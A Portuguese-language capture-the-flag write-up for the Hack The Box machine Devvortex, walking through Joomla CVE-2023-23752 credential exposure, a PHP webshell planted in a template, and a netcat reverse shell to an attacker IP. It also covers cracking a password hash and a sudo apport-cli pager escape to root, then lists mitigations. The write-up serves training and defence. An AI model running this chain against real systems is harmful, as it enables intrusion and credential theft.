Devvortex
Introdução
Este é o writeup da máquina Devvortex, da plataforma Hack The Box, uma máquina Linux classificada como Easy.
Escaneamento
O primeiro passo é escanear a máquina em busca de portas e serviços abertos, utilizando o nmap: primeiro uma varredura rápida em todas as portas TCP e, em seguida, uma varredura detalhada (-A) apenas nas portas encontradas.
ports=$(sudo nmap --open -p- -Pn --min-rate=1000 -T4 10.10.11.242 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -Pn -A -p $ports 10.10.11.242
O nmap revela duas portas relevantes abertas: 22 (SSH) e 80 (HTTP).
Enumeração
Porta 80
Fuzzing de diretórios e subdomínios
Com o gobuster, foi feito fuzzing de diretórios no host principal. O resultado mais relevante, porém, veio da enumeração de subdomínios (adicionando devvortex.htb ao /etc/hosts e testando variações de Host), que revelou um subdomínio de desenvolvimento hospedando uma instância do Joomla:
gobuster dir -u http://devvortex.htb -w /usr/share/wordlists/dirb/big.txt -t 100 --delay 1s -e --no-error -r -x php,html
http://dev.devvortex.htb/
O arquivo robots.txt do Joomla expõe caminhos internos do CMS, incluindo o diretório /administrator/, referente ao painel de administração:
http://dev.devvortex.htb/robots.txt
A tela de login do painel administrativo confirma o CMS Joomla em uso:
http://dev.devvortex.htb/administrator/index.php
O arquivo README.txt do Joomla confirma a versão instalada, compatível com a faixa vulnerável (4.0.0 a 4.2.7) à CVE-2023-23752, uma falha de bypass de controle de acesso na API REST do Joomla:
http://dev.devvortex.htb/README.txt
Explorando a CVE-2023-23752 na API do Joomla, foram extraídas credenciais em texto plano do usuário lewis:
lewis:P4ntherg0t1n5r3c0n##
Reutilizando essas credenciais no painel administrativo do Joomla (/administrator), o login foi bem-sucedido, concedendo acesso total ao painel de administração:
http://dev.devvortex.htb/administrator/index.php?option=com_cpanel&view=cpanel&dashboard=system
Com acesso de administrador, o próximo passo é abusar da funcionalidade de edição de templates do Joomla para obter execução remota de código (RCE), acessando o editor de templates:
http://dev.devvortex.htb/administrator/index.php?option=com_templates&view=templates&client_id=0
Foi selecionado o template ativo (cassiopeia) e o arquivo error.php, editável diretamente pelo painel, para inserir um webshell PHP simples que executa comandos via o parâmetro cmd:
http://dev.devvortex.htb/administrator/index.php?option=com_templates&view=template&id=223&file=L2Nhc3Npb3BlaWEvZXJyb3IucGhw&isMedia=0
Após salvar o template malicioso, o webshell foi testado com um comando simples para confirmar a execução de código no servidor:
curl http://dev.devvortex.htb/templates/cassiopeia/error.php?cmd=id

Exploração
Aplicação vulnerável: Joomla CMS, no subdomínio dev.devvortex.htb.
Falha explorada: CVE-2023-23752 — exposição de credenciais via API do Joomla, usada para obter as credenciais do usuário lewis e efetuar login no painel administrativo. A partir daí, o RCE foi obtido por meio da edição maliciosa do template PHP error.php, transformado em webshell.
Com o webshell confirmado, o passo seguinte é obter uma shell reversa completa:
curl "http://dev.devvortex.htb/templates/cassiopeia/error.php?cmd=rm+/tmp/f%3b+mkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|/usr/bin/nc+10.10.14.11+443+>/tmp/f"

Pós-Exploração
A shell reversa recebida é limitada (sem TTY interativo). O comando abaixo a estabiliza:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Escalonamento para o usuário logan
A aplicação Joomla roda como o usuário www-data. No arquivo de configuração do Joomla (configuration.php) foram encontradas as mesmas credenciais de banco de dados do usuário lewis já obtidas anteriormente, permitindo acesso direto ao MySQL:
mysql -u lewis -p"P4ntherg0t1n5r3c0n##"
Na tabela de usuários do Joomla, dentro do banco de dados, foi encontrado o hash da senha do usuário logan. O hash foi extraído para um arquivo (hash-logan) e quebrado com o john:
john hash-logan --wordlist=/usr/share/wordlists/rockyou.txt
A senha foi quebrada com sucesso (tequieromucho), permitindo o acesso via SSH com o usuário logan:
ssh logan@10.10.11.242
tequieromucho
Escalonamento para root
Com acesso ao usuário logan, o próximo passo é verificar as permissões de sudo:
sudo -l
O sudo -l mostra que logan pode executar apport-cli como root sem senha. O apport-cli invoca um pager (less) para exibir determinados relatórios, e o less permite executar comandos de shell através do caractere !. Essa é a técnica de escalonamento usada:
sudo apport-cli -c /bin/mysql less
V
!bash
O comando V abre o relatório no pager configurado (less), e !bash executa uma shell dentro do less herdando os privilégios de root, resultando em uma shell root completa.

Anexos
Para consolidar e automatizar todo o processo de exploração descrito acima — desde a extração de credenciais via CVE-2023-23752 até a obtenção da shell através do webshell inserido no template — foi desenvolvido o seguinte script em Python:
sau-getshell.py
Mitigação
Para evitar que essa cadeia de ataque seja explorada em um ambiente real, recomenda-se:
- Atualizar o Joomla para uma versão corrigida (4.2.8 ou superior), eliminando a exposição de credenciais via API descrita na CVE-2023-23752.
- Remover ou rotacionar credenciais expostas, garantindo que arquivos de configuração (como
configuration.php) e endpoints de API não vazem informações sensíveis de banco de dados. - Restringir o acesso ao painel administrativo (
/administrator) por IP ou VPN, e habilitar autenticação multifator para contas administrativas. - Aplicar o princípio do menor privilégio no ****
sudoers, evitando conceder execução irrestrita de utilitários comoapport-clique possibilitam fuga de shell via pager (less); usarNOPASSWDapenas quando estritamente necessário. - Manter o sistema operacional atualizado, corrigindo vulnerabilidades conhecidas em pacotes como
apport/apport-clique permitem escalonamento local de privilégios. - Monitorar logs de autenticação e de acesso ao painel administrativo para detectar tentativas de login suspeitas.
